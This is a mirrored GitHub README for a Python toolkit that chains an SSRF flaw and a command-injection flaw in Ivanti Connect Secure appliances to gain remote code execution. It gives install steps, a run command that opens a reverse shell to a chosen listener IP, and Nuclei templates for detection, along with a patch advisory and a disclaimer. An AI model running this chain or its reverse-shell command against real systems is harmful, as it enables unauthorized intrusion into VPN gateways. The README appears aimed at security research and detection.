Giter Site home page Giter Site logo

fckoo / cve-2024-21893-to-cve-2024-21887 Goto Github PK

View Code? Open in Web Editor NEW

This project forked from chocapikk/cve-2024-21893-to-cve-2024-21887

0.0 0.0 0.0 5 KB

CVE-2024-21893 to CVE-2024-21887 Exploit Toolkit

Home Page: https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis

Python 100.00%

cve-2024-21893-to-cve-2024-21887's Introduction

Introduction ๐ŸŒ

This repository contains a Python script designed to exploit the SSRF vulnerability (CVE-2024-21893) and command injection vulnerability (CVE-2024-21887) in Ivanti Connect Secure appliances. On January 31, 2024, these vulnerabilities were disclosed by Ivanti, and have been actively exploited by chaining them together to achieve unauthenticated remote code execution.

Background ๐Ÿ“œ

Ivanti Connect Secure and Ivanti Policy Secure were found to be susceptible to a series of vulnerabilities that could be exploited by an attacker to gain unauthorized access and execute arbitrary code. A detailed analysis by Rapid7, published on January 12, 2024, provides an in-depth look at these vulnerabilities.

Ivanti released a series of mitigations and, as of February 1, 2024, official patches to address the vulnerabilities. It is highly recommended to apply the official patches to secure the systems against these vulnerabilities.

Exploit Script Usage ๐Ÿ› ๏ธ

To use the exploit script, you will need Python 3 and the following dependencies installed:

  • requests
  • pwncat
  • rich

Installation ๐Ÿ“ฅ

  1. Clone the repository:
git clone https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887
  1. Navigate to the cloned directory:
cd CVE-2024-21893-to-CVE-2024-21887
  1. Install the required dependencies:
pip install -r requirements.txt

Running the Exploit ๐Ÿš€

Use the following command to run the exploit script:

python exploit.py -u <TARGET_URL> -rip <REVERSE_SHELL_IP> -rport <REVERSE_SHELL_PORT>

Replace <TARGET_URL> with the base URL of the vulnerable server, <REVERSE_SHELL_IP> with your IP address for the reverse shell, and <REVERSE_SHELL_PORT> with the port you wish to use for the reverse shell.

Example ๐Ÿ“

python exploit.py -u https://vulnerable-server.com -rip 192.168.1.10 -rport 1337

Nuclei Templates Usage ๐Ÿงฌ

This repository also includes Nuclei templates to detect the SSRF (CVE-2024-21893) and RCE (CVE-2024-21887) vulnerabilities.

Running Nuclei Templates ๐Ÿ–ฅ๏ธ

To use the Nuclei templates, ensure you have Nuclei installed and up-to-date.

  1. Detect RCE vulnerability with the CVE-2024-21893-CVE-2024-21887.yaml template:
nuclei -l file.txt -t ./CVE-2024-21893-CVE-2024-21887.yaml
  1. Detect SSRF vulnerability with the CVE-2024-21893.yaml template:
nuclei -l file.txt -t ./CVE-2024-21893.yaml

Disclaimer โš ๏ธ

This tool is intended for security research and should only be used with explicit authorization from the target organization. Unauthorized use of this tool and its associated techniques for malicious purposes is illegal and unethical.

Remember to use these tools responsibly and ethically, and always have permission before testing someone else's systems. ๐Ÿ›ก๏ธ

cve-2024-21893-to-cve-2024-21887's People

Contributors

chocapikk avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.